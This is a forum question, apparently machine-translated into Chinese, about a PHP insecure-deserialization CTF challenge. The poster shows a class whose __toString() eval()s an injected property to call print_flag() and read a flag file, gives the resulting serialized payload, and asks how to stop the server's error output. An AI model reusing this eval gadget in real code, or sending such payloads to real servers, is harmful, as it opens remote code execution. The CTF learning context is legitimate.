我正在做一个关于 PHP 中不安全反序列化的 CTF 挑战。目标是通过将代码注入反序列化来打印标志以执行print_flag()函数。我怀疑网络服务器只打印脚本回显的最后一行,即使在调用exit().
提供了在网络服务器上运行的一部分 php 代码。我已经在我自己的 php 脚本中实现了它,以找出哪些有效,哪些无效。我已经成功地序列化了一个在反序列化时执行代码的对象。通过调用exit(print_flag());标志被打印,没有任何进一步的错误......至少在我的脚本中。当我将序列化对象发送到网络服务器时,它仍然会打印更多错误。
此外,我尝试从注入的代码中返回一个字符串。那也行不通。
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);
该代码类似于挑战中显示的代码,但经过修改,因此对我有用。
我希望代码只返回标志。在我自己的机器上执行脚本时,输出为:
O:8:"Example2":1:{s:14:"Example2 hook";s:19:"exit(print_flag());";} thisistheflag
当我没有调用它时exit():
PHP 可恢复的致命错误:方法示例 2::__toString() 必须在第 39 行的 ../phpObjInj.php 中返回一个字符串值”
网络服务器返回:
可捕获的致命错误:方法示例 2::__toString() 必须在第 79 行的 /var/www/index.php 中返回一个字符串值
如何停止打印错误?
慕村9548890
Smart猫小萌